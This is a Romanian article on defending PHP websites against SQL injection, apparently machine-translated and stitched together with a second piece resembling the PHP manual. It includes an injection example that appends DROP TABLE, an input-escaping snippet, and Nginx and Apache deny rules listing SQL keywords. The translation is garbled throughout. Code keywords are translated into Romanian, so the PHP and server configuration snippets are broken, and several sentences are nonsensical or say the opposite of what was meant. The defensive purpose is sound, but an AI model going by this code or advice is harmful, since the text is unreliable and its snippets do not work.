Și, ca rezultat, voi crea o declarație de lucru pe care nu ați luat-o în considerare deloc:

SELECTAȚI id, titlu, conținut DIN postările unde titlul LIKE „% 1%"; DROP TABLE postări LIKE „%%"

Acest lucru se face cu orice întrebare care implică introducerea datelor acestor corespondenți, deoarece programul nu adaugă securitate. Deci, pentru a rezolva această problemă, trebuie doar să ecranizați toate labele din alimentarea cu apă. Și acum să trecem la îndatoririle apărării.

Protejați-vă site-ul de injectarea SQL la egalitate cu PHP

Apărarea împotriva atacurilor SQL poate fi realizată într-o varietate de moduri. În primul rând, este important să arăți respect și importanță – astfel încât programatorul, chiar din ora scrierii codului, să înceapă să ecraneze filele pentru funcții suplimentare precum mysql_real_escape_string sau mysqli_real_escape_string. Dacă skin-ul este schimbat, dacă este filtrat în interogări către bază, dacă este filtrat de ei, de programator sau la nivelul unui CMS, atunci aceste probleme nu vor fi de vină.

De ce există încă atacuri asupra SQL în ultimii 14 ani? E simplu. Programele sunt leneșe și este atât de ușor să scrieți programe nesigure pe bază, la fel cum cele sigure sunt complicate. Mai complex, mai puțin nesigur.

Protector la nivel de server web

Nu este prea târziu pentru a remedia toate defectele codului. De exemplu, popularul motor Drupal are peste 20.000 de rânduri de cod, WordPress – 60.000 și Joomla – 180.000. Ar fi ineficient să rescrieți totul. Dar se poate face altfel. În primul rând, filtram toate valorile din variabila REQUEST din scriptul în sine. Lipiți acest cod după conectarea bazei de date:

dacă (!funcția_există(„curățare”)) (
if (get_magic_quotes_gpc()) (
funcția magicquotes_Stripslashes(&$valoare, $key) (
$valoare = bare oblice($valoare);
}
$gpc = array(&$_COOKIE, &$_CERERE);
array_walk_recursive($gpc, "magicquotes_Stripslashes");
}
function clean(&$valoare, $key) (
//Această funcție ecranează toate labele.
$valoare = mysql_real_escape_string($valoare);
}
}
$req = array(&$_REQUEST);
array_walk_recursive($req, "curat");

Pentru PHP 7, va trebui să utilizați funcția mysqli_real_escape_string, un fragment din extensia mysql a fost eliminat din această versiune a filmului. Pentru a ecrana labele, va trebui să utilizați doar funcția de curățare și tot ce este dedesubt. Cei care au șanse mai mari să se lupte cu versiunile PHP mai mici de 5.4. Aveau Citate magice ajustate, care, atunci când au fost pornite, au ecranat toate labele. Pentru ca scriptul nostru să nu se piardă complet, totul poate fi văzut pe ecran deoarece este ascuns.

Acum aveți o protecție suplimentară la egalitate cu PHP. Nu se mai vorbește despre protecție la nivelul serverului web. Dacă utilizați Nginx, puteți adăuga următoarele reguli la secțiunea de server:

setați $block_sql_injections 0;
if ($query_string ~ "union.*select.*\()") (
setați $block_sql_injections 1;
}
if ($query_string ~ "union.*all.*select.*") (
setați $block_sql_injections 1;
}
if ($query_string ~ "concat.*\()") (
setați $block_sql_injections 1;
}
dacă ($block_sql_injections = 1) (
întoarce 403;
}

Aici filtrăm toate intrările, cum ar fi adăugarea cuvintelor select, concat împreună cu labele. Acesta este un semn clar că utilizatorul este pe cale să încheie injecția SQL, ceea ce înseamnă că cererea lui trebuie blocată.

De asemenea, puteți bloca adresele suspecte de pe serverul web Apache, de exemplu, alegând cuvintele cheie SQL potrivite. Cu toate acestea, nu este sigur, fragmentele pot fi blocate de utilizatorii primari. Adăugați următoarele rânduri la secțiunea dvs. VitualHost:

RewriteCond %(QUERY_STRING) [^a-z](declare|char|set|cast|convert|delete|drop|exec|insert|meta|script|select|truncate|update])[^a-z]
RewriteRule (.*) - [F]

Dar nu este încă hotărât, aici puteți merge mai departe. Această blocare nu protejează instrucțiunile SQL, cum ar fi interogările POST sau RESTful. De asemenea, puteți activa modulul mod_security:

sudo a2enmod mod_security

Există, de asemenea, o serie de reguli pentru a proteja împotriva injectării. Aceasta este o altă abordare cuprinzătoare.

Secțiunea baze de date

Pentru a vă asigura baza de date, o puteți împărți în mai multe părți. În domeniul securității informațiilor, există un astfel de concept precum principiul privilegiului minim. Esența principiului constă în faptul că furnizorul de programe sau servicii are acces doar la ceea ce are nevoie și nu numai. De exemplu, ar fi înțelept să salvați datele despre cardurile de credit ale comerciantului și forumuri din diferite baze de date. Mai ales dacă creați un vikorist pentru o versiune învechită de phpBB. Aceasta este o protecție suplimentară unică pentru injecția sql.

Analiza interogărilor înainte de adăugare

O altă opțiune este utilizarea sistemelor de pliere. Aceasta ar putea fi o soluție hardware care rulează pe iptables sau ipfw sau un sistem de detectare a intruziunilor pe un server HIDS, cum ar fi OSSEC. Cu toate acestea, o astfel de soluție este mult mai complexă, mai puțin necesară și nu este destinată îndeplinirii sarcinii noastre. Puteți utiliza firewall-uri web speciale pentru a vă proteja împotriva injecțiilor SQL. Acestea sunt soluții atât de grozave precum ModSecurity sau IronBee.

Visnovki

Nu există o soluție ideală sau baghetă magică dincolo de care să protejăm site-ul de injecțiile SQL, deși PHP nu va fi din ce în ce mai protejat. Începând cu versiunea 7.0, a fost introdus suportul pentru extensia MySQL. Acum trebuie să treceți la MySqli sau PDO. Acest lucru este bun pentru că este mai ușor să extragi date din pregătirea operatorilor. Mai trebuie să scriu câteva rânduri pentru asta.

Există o mulțime de modalități de a preveni atacurile SQL, cu excepția cazului în care dezvoltatorii scriu codul corect, iar serverele web nu sunt cât mai flexibile posibil, iar atacurile nu vor fi incluse în lista TOP 10 OSWAP. Personalizați-vă sistemul astfel încât să vă puteți fura datele și bazele de date.

Postari similare:


Deși, ca și până acum, este evident că atacatorul este responsabil pentru cunoașterea structurii bazei de date pentru a efectua un atac cu succes, este adesea foarte simplu să eliminați aceste informații. De exemplu, deoarece baza de date face parte dintr-un pachet software open-source sau dintr-un alt pachet de software disponibil public cu instalare industrială, aceste informații sunt complet deschise și accesibile. Aceste date pot fi, de asemenea, eliminate dintr-un proiect închis, trimise ca rezultat al codificării, compilării sau compilării și trimise din codul dvs. specific printr-o notificare despre modificări. Înainte de alte metode, sunt introduse o serie de nume de tabele largi (ușor de reținut). De exemplu, formularul de conectare conține tabelul „utilizatori” cu numele coloanelor „id”, „nume utilizator” și „parolă”.

Cele mai multe atacuri de succes se bazează pe cod scris fără măsuri de securitate adecvate. Nu aveți încredere în datele de zi cu zi, mai ales dacă acestea provin din partea clientului, cum ar fi listele din formular, câmpurile de conectare sau cookie-urile. Primul exemplu arată cum o astfel de băutură poate duce la dezastru.

  • Nu vă conectați niciodată cu baza de date, înregistrarea vikorist și oblikovy a bazei de date Vlasnik sau superkoristuvach. De acum înainte, asigurați-vă că utilizați drepturi de autor special create cu maximum de drepturi posibile.
  • Vykoristovat a pregătit expresii din modificările asociate. Această capacitate este oferită de extensii la PDO, MySQLi și alte biblioteci.
  • Verificați întotdeauna datele introduse pentru a vă asigura că sunt corecte pentru tipul introdus. PHP are funcții simple pentru verificarea datelor: începând cu cele mai simple funcții pentru a lucra cu modificări și funcții alocate tipului de caractere (cum ar fi is_numeric()і ctype_digit() evident) și se termină cu expresii regulate nebunești de Perl.
  • Dacă programul recunoaște intrarea digitală, blocați funcția ctype_digit() pentru a verifica datele introduse sau pentru a indica tipul acestora pentru ajutor suplimentar settype(), sau utilizați pur și simplu numerele pentru funcții suplimentare sprintf().

    Exemplul #5 Implementarea sigură a navigării back-to-back

    settype($offset, „întreg”);
    $interogare = „SELECT ID, nume FROM produse ORDER BY nume LIMIT 20 OFFSET$offset;";

    // folosiți formatul %d, vikoristannya %s ar fi prost
    $interogare = sprintf ( „SELECT ID, nume FROM produse ORDER BY nume LIMIT 20 OFFSET %d;”,
    $offset);

    ?>

  • Dacă aceeași bază de date nu acceptă modificări asociate, atunci ecranați întotdeauna orice date nenumerice care sunt vikorista în interogările la baza de date pentru funcții speciale suplimentare care sunt verificate, specifice vikoristova despre baza dvs. de date (de exemplu, mysql_real_escape_string(), sqlite_escape_string() etc.). Alte funcții, cum ar fi adaugă bare oblice() Există doar câteva culori în unele cazuri (de exemplu, MySQL în codificare pe un singur octet cu NO_BACKSLASH_ESCAPES), așa că este mai bine să le identificați în mod unic.
  • Evitați întotdeauna afișarea acelorași informații despre baza de date, în special despre structura acesteia. De asemenea, familiarizați-vă cu următoarele secțiuni ale documentației: „Informații despre amortizare” și „Funcții pentru procesarea și înregistrarea amortizărilor”.
  • Puteți utiliza procedurile care sunt salvate și apoi desemnați cursoare pentru lucrul abstract cu date, fără a oferi utilizatorilor acces direct la date și la manifestare, iar soluția va rămâne proprie.

În plus, vă puteți conecta la scriptul dvs. sau la aceeași bază de date pe care o acceptă. Evident, autentificarea nu poate depăși problema, dar poate ajuta la manipularea programelor rău intenționate. Fișierul jurnal nu este creat de la sine, ci de informațiile conținute în el. În plus, este prea dificil să-ți dai seama de toate detaliile posibile.

 

 

Tse tsikavo: